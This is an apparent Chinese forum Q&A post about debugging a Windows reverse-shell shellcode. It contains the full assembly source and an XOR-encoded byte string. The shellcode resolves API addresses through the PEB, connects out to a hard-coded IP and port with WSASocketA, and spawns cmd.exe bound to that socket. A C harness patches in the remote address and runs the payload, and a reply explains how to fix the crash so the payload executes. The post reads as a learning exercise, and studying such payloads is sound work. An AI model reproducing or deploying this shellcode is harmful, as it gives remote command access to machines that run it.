您的位置:首页 > 运维架构 > Shell

reverse shellcode调试问题问答

2006-03-22 19:16 204 查看
不知道从哪里开始阐述……

我使用的shellcode源代码如下(只节选部分,还是History and Advances in Windows Shellcode中作者提供的那个reverse shellcode)

db 0ebh, 02 ;jmp $+2
db 0ebh, 05 ;jmp $+5
db 0e8h, 0f9h,0ffh,0ffh,0ffh ;call $-7

pop eax ;eax为当前的内存地址了
add eax, 1bh ;剩余解码的长度
lea esp,[eax-3ffh]
and esp, 0fffffffch
mov ebp,esp
xor ecx,ecx
mov cx,15bh ;shellcode的长度
decode:
xor byte [eax], 96h
inc eax
loop decode ;以上是解码decoder部分

call here

db "GetProcAddress",0,"LoadLibraryA",0
db "CreateProcessA",0,"ExitProcess",0
db "ws2_32",0,"WSAStartup",0,"WSASocketA",0
db "connect",0,"cmd",0
here:
pop edx

…………………………………………(略)这段就够了

这个shellcode据作者介绍没有使用管道,因为使用了WSASocket()而不是socket创建套接子,原文Using WSASocket will create a socket
that will not have an overlapped attribute,所以可以直接将这个套接字的handle作为子进程的输入输出而不必用管道。因为以前从来没有调
试过shellcode,所以这次想自己调试下看看作者说的这个没用管道的shellcode能不能用。
于是按照作者介绍的方法(我用nasm提取过,但作者精心编写的decoder部分经nasm转换成机器码后出现了许多连续的0,所以还是使用了tasm),先将上面的decoder
转换为机器码(/x形式),然后把shellcode部分转换为机器码再xor了0x96,得了shellcode(见如下程序)。

然后用如下程序来测试看shellcode能否能用:

#include <winsock.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define scip "172.16.0.33"
#define scport 520
//don't change the offset

unsigned char ShellCode[] =
"/xEB/x02/xEB/x05/xE8/xF9/xFF/xFF/xFF/x58/x83/xC0/x1B/x8D/xA0/x01/xFC"
"/xFF/xFF/x83/xE4/xFC/x8B/xEC/x33/xC9/x66/xB9/x5B/x01/x80/x30/x96"
"/x40/xE2/xFA"
"/x7E/xF6/x96/x96/x96/xD1/xF3/xE2/xC6/xE4/xF9/xF5/xD7/xF2/xF2/xE4"
"/xF3/xE5/xE5/x96/xDA/xF9/xF7/xF2/xDA/xFF/xF4/xE4/xF7/xE4/xEF/xD7"
"/x96/xD5/xE4/xF3/xF7/xE2/xF3/xC6/xE4/xF9/xF5/xF3/xE5/xE5/xD7/x96"
"/xD3/xEE/xFF/xE2/xC6/xE4/xF9/xF5/xF3/xE5/xE5/x96/xE1/xE5/xA4/xC9"
"/xA5/xA4/x96/xC1/xC5/xD7/xC5/xE2/xF7/xE4/xE2/xE3/xE6/x96/xC1/xC5"
"/xD7/xC5/xF9/xF5/xFD/xF3/xE2/xD7/x96/xF5/xF9/xF8/xF8/xF3/xF5/xE2"
"/x96/xF5/xFB/xF2/x96/xCC/xC4/xF2/xF1/x37/xA6/x96/x1D/xD6/x9A/x1D"
"/xE6/x8A/x3B/x1D/xCE/x9E/x1D/xE5/xAA/x95/x65/x1D/xE0/xEE/x95/x65"
"/x1D/xE8/xB6/x95/x6D/x1D/xD8/x82/xC0/xA5/x56/xC1/xC7/x1D/xA9/x95"
"/x6D/x1D/x64/xA5/x5F/x27/x98/x65/x30/xCF/xC9/xE2/x90/x15/x51/x92"
"/xD6/x74/x7E/xC8/x1D/xC0/xB2/x95/x45/x47/x76/x95/x54/xA5/x5F/xF0"
"/x1D/x9E/x1D/xD0/x8A/x95/x55/x57/x77/x94/x95/x57/x1D/x86/x95/x45"
"/xC8/x1D/x68/xA5/x5F/x27/x95/x7E/xEA/x96/x96/x96/x15/x50/x9A/xC4"
"/xC0/x69/xC1/x62/xCC/x1D/x4E/xA5/x5F/x27/x95/x7E/xFE/x96/x96/x96"
"/x15/x50/x9E/xC3/xFE/x97/x97/x96/x96/x69/xC1/x62/xA5/x56/xC6/xC6"
"/xC6/xC6/xD6/xC6/xD6/xC6/x69/xC1/x6E/x1D/x4E/xF0/x51/xD3/x96/x94"
"/x96/xF0/x51/xD3/x94/x96/xC6/x51/xD3/x92/x56/x3E/x97/xBF/xFC/x86"
"/xC3/xC5/x69/xC1/x6A/xA5/x5F/x27/x87/xC1/x1D/x6B/x65/x3D/xC9/x50"
"/xD3/x96/xD2/x1F/xCB/xAA/x1F/xCB/xAE/x1F/xCB/xD6/xF0/x51/xD3/xBA"
"/x97/x97/x1B/xD3/xD2/xC6/xC3/xC7/xC7/xC7/xD7/xC7/xDF/xC7/xC7/xC0"
"/xC7/x69/xC1/x7A/xC6/x69/xC1/x66/x1C/x90/xD0/x12/x56/xE3/x6F/xC7"
"/xC4/xC0/xC5/x69/x44/xCC/xCF/x3D/x74/x78/x55";

main()
{
WSADATA wsa;
unsigned short port;
unsigned long ip;

WSAStartup(MAKEWORD(2,2),&wsa);
port = htons(scport)^(u_short)0x9696;
ip = inet_addr(scip)^0x96969696;
memcpy(&ShellCode[0x129], &port, 2);
memcpy(&ShellCode[0x12e], &ip, 4);

((void (*)(void)) &ShellCode)();

return 0;
}

编译执行,提示(NTDLL.DLL): 0xC0000005: Access Violation,于是我用windbg打开编译好的执行文件,F5执行,
disassambly窗口如下(发现以下的代码是和源程序相同的):

00405030 eb02 jmp image00400000+0x5034 (00405034) ;db 0ebh, 02
00405032 eb05 jmp image00400000+0x5039 (00405039) ;db 0ebh, 05
00405034 e8f9ffffff call image00400000+0x5032 (00405032)
00405039 58 pop eax
0040503a 83c01b add eax,0x1b
0040503d 8da001fcffff lea esp,[eax-0x3ff]
00405043 83e4fc and esp,0xfffffffc
00405046 8bec mov ebp,esp
00405048 33c9 xor ecx,ecx
0040504a 66b95b01 mov cx,0x15b
0040504e 803096 xor byte ptr [eax],0x96
00405051 40 inc eax
00405052 e2fa loop image00400000+0x504e (0040504e)
00405054 e860000000 call image00400000+0x50b9 (004050b9)

windbg显示错误是出现在以下指令:
00405054 e860000000 call image00400000+0x50b9 (004050b9)
这条指令对应源程序中的
call here

我以为decoder执行完了,到call的时候因为将下一条指令地址写入esp时出现冲突错误了,但我仍想看看decode
是否正常执行,所以用windbg重新载入这个编译好的执行文件,先按几次f10到程序执行的空间,然后在地址00405039处(对应add eax,0x1b)
下执行断点(ba e1 00405039),我想看看这时上条语句pop eax中的eax是不是下一条指令的地址,由此判断decoder一开始
是否正常执行,但奇怪的是程序并没有中断,而是直接在call here执行出错了。

于是我只有又重新载入,慢慢用f10往前走,结果到了ntdll!KiUserApcDispatcher的call ntdll!NtContinue,跟进去后显示如下:
77f82881 b81c000000 mov eax,0x1c
77f82886 8d542404 lea edx,[esp+0x4]
77f8288a cd2e int 2e
77f8288c e992740100 jmp ntdll!NtContinue+0xb (77f99d23)

当f8到int 2e的时候就直接跳到了(没有执行decode部分)
00405054 e860000000 call image00400000+0x50b9 (004050b9)

就是shellcode中的call here了,提示出错:

(810.7fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=004051af ebx=7ffdf000 ecx=00000000 edx=000010ac esi=00089e94 edi=77fcc7c2
eip=00405054 esp=00404c54 ebp=00404c54 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206

所以好像根本就没有执行decoder。
========================

shellcode的源代码:

;reverse shellcode
;ip at 0x141
;port at 0x13c
;sk scan-associates net

.386p
locals
.model flat, stdcall

.code
start:

db 0ebh, 02 ;jmp $+2
db 0ebh, 05 ;jmp $+5
db 0e8h, 0f9h,0ffh,0ffh,0ffh ;call $-7

pop eax
add eax, 1bh
lea esp,[eax-3ffh]
and esp, 0fffffffch
mov ebp,esp
xor ecx,ecx
mov cx,15bh ;size
decode:
xor byte ptr [eax], 96h
inc eax
loop decode

call here

db "GetProcAddress",0,"LoadLibraryA",0
db "CreateProcessA",0,"ExitProcess",0
db "ws2_32",0,"WSAStartup",0,"WSASocketA",0
db "connect",0,"cmd",0
here:
pop edx
push edx

mov eax,fs:[30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov ebx,[eax+08h]

l2:
mov esi,dword ptr [ebx+3Ch]
add esi,ebx
mov esi,dword ptr [esi+78h]
add esi,ebx
mov edi,dword ptr [esi+20h]
add edi,ebx
mov ecx,dword ptr [esi+14h]
push esi
xor eax,eax
l4:
push edi
push ecx
mov edi,dword ptr [edi]
add edi,ebx
mov esi,edx
xor ecx,ecx
;GetProcAddress
mov cl,0Eh
repe cmps byte ptr [esi],byte ptr [edi]
pop ecx
pop edi
;je l3
db 74h, 6h
add edi,4
inc eax
loop l4
; jmp ecx
l3:
pop esi
mov edx,dword ptr [esi+24h]
add edx,ebx
shl eax,1
add eax,edx
xor ecx,ecx
mov cx,word ptr [eax]
mov eax,dword ptr [esi+1Ch]
add eax,ebx
shl ecx,2
add eax,ecx
mov edx,dword ptr [eax]
add edx,ebx
pop esi
mov edi,esi
xor ecx,ecx
;Get 3 Addr
mov cl,3
call loadaddr
add esi,0Ch
;Load ws2_32
push edx
push esi
call dword ptr [edi-0Ch] ;LoadLibraryA
pop edx
mov ebx,eax
xor ecx,ecx
mov cl,3
call loadaddr
add esi,8
push ebp
push 101h
call dword ptr [edi-0Ch] ;WSAStartup
xor eax,eax
; test eax,eax
; jne exit
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
call dword ptr [edi-8] ;WSASocketA
; cmp eax,0FFFFFFFFh
; je exit
mov ebx,eax
mov word ptr [ebp],2
mov word ptr [ebp+2],5000h ;port
mov dword ptr [ebp+4], 2901a8c0h ;IP
push 10h
push ebp
push ebx
call dword ptr [edi-4] ;connect
; test eax,eax
; jne exit
xor ecx,ecx
mov cl,11h
push edi
mov edi,ebp
rep stos dword ptr [edi]
pop edi
mov byte ptr [ebp],44h
mov dword ptr [ebp+3Ch],ebx
mov dword ptr [ebp+38h],ebx
mov dword ptr [ebp+40h],ebx
mov word ptr [ebp+2Ch],0101h
lea eax,[ebp+44h]
push eax
push ebp
push ecx
push ecx
push ecx
inc ecx
push ecx
dec ecx
push ecx
push ecx
push esi
push ecx
call dword ptr [edi-14h] ;CreateProcess
exit:
push eax
call dword ptr [edi-10h] ;ExitProcess
loadaddr:
mov al,byte ptr [esi]
inc esi
test al,al
jne loadaddr
push ecx
push edx
push esi
push ebx
call edx
pop edx
pop ecx
stosd
loop loadaddr
ret

end start

.data
;port at 129h
;ip at 12eh

=============

你这个代码编译后,ShellCode是放在程序的.data段的,这个段不可写。

lea esp,[eax-3ffh]这一句会把esp指向ShellCode的某处,后面call的时候要往esp压返回地址,而此时esp指向一个不可写的地址,自然就会错了。

实际应用中,ShellCode肯定处于一块可写的内存中,所以不会有问题。

如果你想代码能正常运行,最简单的办法就是把ShellCode挪到main()里面。
我说错了,lea esp,[eax-3ffh]后的esp是在.rdata里面,.rdata是不可写的。

ShellCode[] 挪到main()里面之后,就是局部变量了,main()调用的ShellCode[] 实际上是复制到栈区里面的一份拷贝,lea esp,[eax-3ffh]后,esp还是在栈里。

shellcode不能保证自己处于什么环境,没谁能保证。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: